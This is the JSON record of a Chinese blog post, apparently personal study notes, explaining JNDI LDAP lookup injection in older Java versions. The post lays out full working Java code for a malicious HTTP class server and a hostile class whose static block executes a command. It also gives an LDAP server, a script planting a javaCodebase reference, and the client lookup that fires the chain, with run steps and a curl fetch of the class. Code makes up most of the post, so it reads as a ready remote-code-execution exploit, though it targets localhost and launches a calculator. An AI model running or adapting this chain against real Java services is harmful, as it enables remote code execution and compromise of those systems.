{"id":264,"date":"2020-02-23T04:40:02","date_gmt":"2020-02-22T20:40:02","guid":{"rendered":"https:\/\/blog.73007300.xyz\/?p=264"},"modified":"2020-04-02T21:44:00","modified_gmt":"2020-04-02T13:44:00","slug":"java%e8%bf%9c%e7%a8%8b%e5%8a%a0%e8%bd%bd%e5%88%a9%e7%94%a8%e5%ad%a6%e4%b9%a0%e5%9b%9b%ef%bc%9aldap-lookup-javacodebase-%e4%bb%8ehttp%e5%8a%a0%e8%bd%bdpayload","status":"publish","type":"post","link":"https:\/\/blog.73007300.xyz\/?p=264","title":{"rendered":"JAVA\u8fdc\u7a0b\u52a0\u8f7d\u5229\u7528\u5b66\u4e60\u56db\uff1aldap lookup + javaCodebase \u4ecehttp\u52a0\u8f7dpayload"},"content":{"rendered":"\n<p>\u8fd9\u7bc7\u7684\u6838\u5fc3\u662fjavaCodebase\u4ece\u5916\u90e8\u52a0\u8f7d\u6076\u610f\u7c7b\uff0c\u4f46\u662f \u662f\u7528 javax.naming.Context\u7684lookup\u65b9\u6cd5\u52a0ldap\u534f\u8bae\u89e6\u53d1\u3002<br>\n\u4f46\u662f\u4ec5\u9650Oracle JDK  11.0.1\u30018u191\u30017u201\u30016u211\u4e4b\u524d\u7684JDK\uff0c\u5426\u5219\u9700\u8981\u624b\u52a8\u6253\u5f00\u5c5e\u6027\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>System.setProperty(\"com.sun.jndi.ldap.object.trustURLCodebase\",\"true\");<\/code><\/pre>\n\n\n\n<p>\u8fd9\u91cc \u662f\u5f15\u7528\u7684 <a href=\"https:\/\/paper.seebug.org\/1091\/#jndildap\" target=\"_blank\" rel=\"noreferrer noopener\" aria-label=\"https:\/\/paper.seebug.org\/1091\/#jndildap\uff08\u5728\u65b0\u7a97\u53e3\u6253\u5f00\uff09\">https:\/\/paper.seebug.org\/1091\/#jndildap<\/a> \u7684\u8bf4\u6cd5\uff0c\u4f46\u662fjdk 7 \u6700\u9ad8\u53ea\u5230\u4e8680\uff0c\u56e0\u6b64 7u201\u30016u211 \u8fd9\u4e24\u4e2a\u53ef\u80fd\u4e0d\u5bf9\uff0c\u4ec5\u4f9b\u53c2\u8003\u3002\u6211\u5728jdk8u172\u548cjdk8u20\u90fd\u6d4b\u8bd5\u901a\u8fc7\u4e86\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1344\" height=\"830\" src=\"https:\/\/blog.73007300.xyz\/wp-content\/uploads\/2020\/02\/image-10.png\" alt=\"\" class=\"wp-image-265\"\/><\/figure>\n\n\n\n<p>\u4e0b\u9762\u4e0a\u6d4b\u8bd5\u4ee3\u7801\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u6076\u610f\u7684HTTP Server<\/h2>\n\n\n\n<p>\u7528\u4e8e\u611f\u67d3\u7684\u670d\u52a1\u901a\u8fc7javaCodebase\u4ece\u8fd9\u91cc\u52a0\u8f7d\u6076\u610f\u7684\u5916\u90e8\u7c7b\u3002<br>\nhttp server:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package com.hans.httpServer;\n\nimport com.sun.net.httpserver.HttpExchange;\nimport com.sun.net.httpserver.HttpHandler;\n\nimport java.io.ByteArrayOutputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.net.InetSocketAddress;\n\/*\n * \u4f60\u5ba2\u6237\u7aef\u7f3a\u4ec0\u4e48\u7c7b\u5230\u6211\u8fd9\u4e2aHttp\u670d\u52a1\u4e0a\u6765\u62ff\n * https:\/\/paper.seebug.org\/1091\/\n * 1. First start http server\n * *\/\npublic class HttpServer implements HttpHandler {\n    public void handle(HttpExchange httpExchange) {\n        try {\n            System.out.println(\"new http request from \" + httpExchange.getRemoteAddress() + \" \" + httpExchange.getRequestURI());\n            InputStream inputStream = HttpServer.class.getResourceAsStream(httpExchange.getRequestURI().getPath());\n            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();\n            while (inputStream.available() > 0) {\n                byteArrayOutputStream.write(inputStream.read());\n            }\n\n            byte&#91;] bytes = byteArrayOutputStream.toByteArray();\n            httpExchange.sendResponseHeaders(200, bytes.length);\n            httpExchange.getResponseBody().write(bytes);\n            httpExchange.close();\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n\n    public static void main(String args&#91;]) throws IOException {\n        com.sun.net.httpserver.HttpServer httpServer = com.sun.net.httpserver.HttpServer.create(new InetSocketAddress(8000), 0);\n\n        System.out.println(\"String HTTP Server on port: 8000\");\n        httpServer.createContext(\"\/\", new HttpServer());\n        httpServer.setExecutor(null);\n        httpServer.start();\n    }\n}\n<\/code><\/pre>\n\n\n\n<p>\u6076\u610f\u7684\u7c7b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package com.hans.remoteClass;\n\nimport javax.naming.Context;\nimport javax.naming.Name;\nimport javax.naming.spi.ObjectFactory;\nimport java.io.BufferedInputStream;\nimport java.io.BufferedReader;\nimport java.io.InputStreamReader;\nimport java.io.Serializable;\nimport java.util.Hashtable;\n\npublic class ExportObject implements ObjectFactory, Serializable {\n\n\tprivate static final long serialVersionUID = 1L;\n\n\tstatic {\n        \/\/\u8fd9\u91cc\u7531\u4e8e\u5728static\u4ee3\u7801\u5757\u4e2d\uff0c\u65e0\u6cd5\u76f4\u63a5\u629b\u5f02\u5e38\u5916\u5e26\u6570\u636e\uff0c\u4e0d\u8fc7\u5728static\u4e2d\u5e94\u8be5\u4e5f\u6709\u5176\u4ed6\u65b9\u5f0f\u5916\u5e26\u6570\u636e\u3002\u6ca1\u5199\u5728\u6784\u9020\u51fd\u6570\u4e2d\u662f\u56e0\u4e3a\u9879\u76ee\u4e2d\u6709\u4e9b\u5229\u7528\u65b9\u5f0f\u4e0d\u4f1a\u8c03\u7528\u6784\u9020\u53c2\u6570\uff0c\u6240\u4ee5\u4e3a\u4e86\u65b9\u6807\u76f4\u63a5\u5199\u5728static\u4ee3\u7801\u5757\u4e2d\u6240\u6709\u8fdc\u7a0b\u52a0\u8f7d\u7c7b\u7684\u5730\u65b9\u90fd\u4f1a\u8c03\u7528static\u4ee3\u7801\u5757\n        try {\n                \/\/ run command on kali\n                exec(\"gnome-calculator\");\n                \/\/ run command on windows\n                \/\/exec(\"calc\");\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n\n    public static void exec(String cmd) throws Exception {\n        String sb = \"\";\n        BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());\n        BufferedReader inBr = new BufferedReader(new InputStreamReader(in));\n        String lineStr;\n        while ((lineStr = inBr.readLine()) != null)\n            sb += lineStr + \"\\n\";\n        inBr.close();\n        in.close();\n\/\/        throw new Exception(sb);\n    }\n\n    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable&lt;?, ?> environment) throws Exception {\n        return null;\n    }\n}\n<\/code><\/pre>\n\n\n\n<p>\u542f\u52a8com.hans.httpServer.HttpServer \u5373\u53ef\u901a\u8fc7 curl \"http:\/\/localhost:8000\/com\/hans\/remoteClass\/ExportObject.class\" \u8bf7\u6c42\u5230\u6076\u610f\u7c7b\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">LDAP\u670d\u52a1<\/h2>\n\n\n\n<p>\u5148\u5f00\u4e00\u4e2a\u6b63\u5e38\u7684LDAP\u670d\u52a1\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package com.hans.ldapServer;\n\n\nimport com.unboundid.ldap.listener.InMemoryDirectoryServer;\nimport com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;\nimport com.unboundid.ldap.listener.InMemoryListenerConfig;\n\nimport javax.net.ServerSocketFactory;\nimport javax.net.SocketFactory;\nimport javax.net.ssl.SSLSocketFactory;\nimport java.io.IOException;\nimport java.net.InetAddress;\n\n\n\/**\n * LDAP server implementation returning JNDI references\n *\n * @author mbechler\n *\/\npublic class LDAPRefServer {\n\n    private static final String LDAP_BASE = \"dc=example,dc=com\";\n\n    public static void main(String&#91;] args) throws IOException {\n        int port = 1389;\n\n        try {\n            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);\n            config.setListenerConfigs(new InMemoryListenerConfig(\n                    \"listen\", \/\/$NON-NLS-1$\n                    InetAddress.getByName(\"0.0.0.0\"), \/\/$NON-NLS-1$\n                    port,\n                    ServerSocketFactory.getDefault(),\n                    SocketFactory.getDefault(),\n                    (SSLSocketFactory) SSLSocketFactory.getDefault()));\n\n            config.setSchema(null);\n            config.setEnforceAttributeSyntaxCompliance(false);\n            config.setEnforceSingleStructuralObjectClass(false);\n\n            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);\n            ds.add(\"dn: \" + \"dc=example,dc=com\", \"objectClass: top\", \"objectclass: domain\");\n            ds.add(\"dn: \" + \"ou=employees,dc=example,dc=com\", \"objectClass: organizationalUnit\", \"objectClass: top\");\n            ds.add(\"dn: \" + \"uid=hans,ou=employees,dc=example,dc=com\", \"objectClass: ExportObject\");\n\n            System.out.println(\"Listening on 0.0.0.0:\" + port); \/\/$NON-NLS-1$\n            ds.startListening();\n\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n}<\/code><\/pre>\n\n\n\n<p>\u518d\u5411ldap\u670d\u52a1\u63d2\u5165\u6570\u636e\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package com.hans.ldapServer;\n\nimport javax.naming.Context;\nimport javax.naming.NamingException;\nimport javax.naming.directory.*;\nimport java.rmi.RemoteException;\nimport java.util.Hashtable;\n\n\/*\n * It works for LdapLookupPayload.java\n * *\/\n\npublic class LDAPServer2 {\n    public static void main(String&#91;] args) throws NamingException, RemoteException {\n        Hashtable&lt;String, String> env = new Hashtable&lt;String, String>();\n        env.put(Context.INITIAL_CONTEXT_FACTORY,\n                \"com.sun.jndi.ldap.LdapCtxFactory\");\n        env.put(Context.PROVIDER_URL, \"ldap:\/\/localhost:1389\");\n\n        DirContext ctx = new InitialDirContext(env);\n\n        Attribute mod1 = new BasicAttribute(\"objectClass\", \"top\");\n        mod1.add(\"javaNamingReference\");\n\n        Attribute mod2 = new BasicAttribute(\"javaCodebase\",\n                \"http:\/\/127.0.0.1:8000\/\");\n        Attribute mod3 = new BasicAttribute(\"javaClassName\",\n                \"PayloadObject\");\n        Attribute mod4 = new BasicAttribute(\"javaFactory\", \"com.hans.remoteClass.ExportObject\");\n\n\n        ModificationItem&#91;] mods = new ModificationItem&#91;]{\n                new ModificationItem(DirContext.ADD_ATTRIBUTE, mod1),\n                new ModificationItem(DirContext.ADD_ATTRIBUTE, mod2),\n                new ModificationItem(DirContext.ADD_ATTRIBUTE, mod3),\n                new ModificationItem(DirContext.ADD_ATTRIBUTE, mod4)\n        };\n        ctx.modifyAttributes(\"uid=hans,ou=employees,dc=example,dc=com\", mods);\n    }\n}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\u53d7\u611f\u67d3\u7684Client<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>package com.hans.weblogicLdapExploit;\n\nimport javax.naming.Context;\nimport javax.naming.InitialContext;\nimport javax.naming.NamingException;\n\npublic class LdapLookupPayload {\n    public static void main(String&#91;] args) throws NamingException {\n        \/\/ \u6700\u65b0\u7684JDK\u9700\u5f00\u542f\u8fd9\u4e2a\u5c5e\u6027\n        \/\/System.setProperty(\"com.sun.jndi.ldap.object.trustURLCodebase\",\"true\");\n        Context ctx = new InitialContext();\n        Object object =  ctx.lookup(\"ldap:\/\/127.0.0.1:1389\/uid=hans,ou=employees,dc=example,dc=com\");\n    }\n}<\/code><\/pre>\n\n\n\n<ol><li>\u542f\u52a8 HttpServer<\/li><li>\u542f\u52a8LDAPRefServer<\/li><li>\u542f\u52a8LDAPServer2\u5411LDAP Server\u6ce8\u5165\u6570\u636e<\/li><li>\u542f\u52a8LdapLookupPayload \u89e6\u53d1\u6f0f\u6d1e\u3002<\/li><\/ol>\n\n\n\n<p>\u53ef\u4ee5\u770b\u5230 InitialContext\uff08\uff09\u521d\u59cb\u5316\u51fa\u6765\u7684Content\u5bf9\u8c61\uff0c\u5728\u53d7\u5f71\u54cd\u7684jdk\u4e2d\uff0c\u662f\u5b58\u5728\u6f0f\u6d1e\u7684\uff0c\u82e5lookup\u7684\u53c2\u6570\u53ef\u53d7\u7528\u6237\u63a7\u5236\uff0c\u53ef\u4ee5\u9020\u6210\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u3002<br> \u8bf7\u53c2\u8003 <a href=\"https:\/\/paper.seebug.org\/1091\/#jndildap\" target=\"_blank\" rel=\"noreferrer noopener\" aria-label=\"https:\/\/paper.seebug.org\/1091\/#jndildap\uff08\u5728\u65b0\u7a97\u53e3\u6253\u5f00\uff09\">https:\/\/paper.seebug.org\/1091\/#jndildap<\/a> \u8be5\u6587\u7ae0\u7684\u5185\u5bb9\u3002<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u8fd9\u7bc7\u7684\u6838\u5fc3\u662fjavaCodebase\u4ece\u5916\u90e8\u52a0\u8f7d\u6076\u610f\u7c7b\uff0c\u4f46\u662f \u662f\u7528 javax.naming.Context\u7684lookup\u65b9\u6cd5\u52a0ldap\u534f\u8bae\u89e6\u53d1\u3002 \u4f46\u662f\u4ec5\u9650Oracle JDK 11.0.1\u30018u191\u30017u201\u30016u211\u4e4b\u524d\u7684JDK\uff0c\u5426\u5219\u9700\u8981\u624b\u52a8\u6253\u5f00\u5c5e\u6027\uff1a \u8fd9\u91cc \u662f\u5f15\u7528\u7684 https:\/\/paper.seebug.org\/1091\/#jndildap \u7684\u8bf4\u6cd5\uff0c\u4f46\u662fjdk 7 \u6700\u9ad8\u53ea\u5230\u4e8680\uff0c\u56e0\u6b64 7u201\u30016u211 \u8fd9\u4e24\u4e2a\u53ef\u80fd\u4e0d\u5bf9\uff0c\u4ec5\u4f9b\u53c2\u8003\u3002\u6211\u5728jdk8u172\u548cjdk8u20\u90fd\u6d4b\u8bd5\u901a\u8fc7\u4e86\u3002 \u4e0b\u9762\u4e0a\u6d4b\u8bd5\u4ee3\u7801\u3002 \u6076\u610f\u7684HTTP Server \u7528\u4e8e\u611f\u67d3\u7684\u670d\u52a1\u901a\u8fc7javaCodebase\u4ece\u8fd9\u91cc\u52a0\u8f7d\u6076\u610f\u7684\u5916\u90e8\u7c7b\u3002 http server: \u6076\u610f\u7684\u7c7b\uff1a \u542f\u52a8com.hans.httpServer.HttpServer \u5373\u53ef\u901a\u8fc7 curl &#8220;http:\/\/localhost:8000\/com\/hans\/remoteClass\/ExportObject.class&#8221; \u8bf7\u6c42\u5230\u6076\u610f\u7c7b\u3002 LDAP\u670d\u52a1 \u5148\u5f00\u4e00\u4e2a\u6b63\u5e38\u7684LDAP\u670d\u52a1\uff1a \u518d\u5411ldap\u670d\u52a1\u63d2\u5165\u6570\u636e\uff1a \u53d7\u611f\u67d3\u7684Client \u542f\u52a8 HttpServer \u542f\u52a8LDAPRefServer \u542f\u52a8LDAPServer2\u5411LDAP Server\u6ce8\u5165\u6570\u636e \u542f\u52a8LdapLookupPayload \u89e6\u53d1\u6f0f\u6d1e\u3002 \u53ef\u4ee5\u770b\u5230 InitialContext\uff08\uff09\u521d\u59cb\u5316\u51fa\u6765\u7684Content\u5bf9\u8c61\uff0c\u5728\u53d7\u5f71\u54cd\u7684jdk\u4e2d\uff0c\u662f\u5b58\u5728\u6f0f\u6d1e\u7684\uff0c\u82e5lookup\u7684\u53c2\u6570\u53ef\u53d7\u7528\u6237\u63a7\u5236\uff0c\u53ef\u4ee5\u9020\u6210\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u3002 \u8bf7\u53c2\u8003 https:\/\/paper.seebug.org\/1091\/#jndildap \u8be5\u6587\u7ae0\u7684\u5185\u5bb9\u3002<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5,2],"tags":[],"_links":{"self":[{"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/posts\/264"}],"collection":[{"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=264"}],"version-history":[{"count":3,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/posts\/264\/revisions"}],"predecessor-version":[{"id":330,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/posts\/264\/revisions\/330"}],"wp:attachment":[{"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=264"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=264"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=264"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}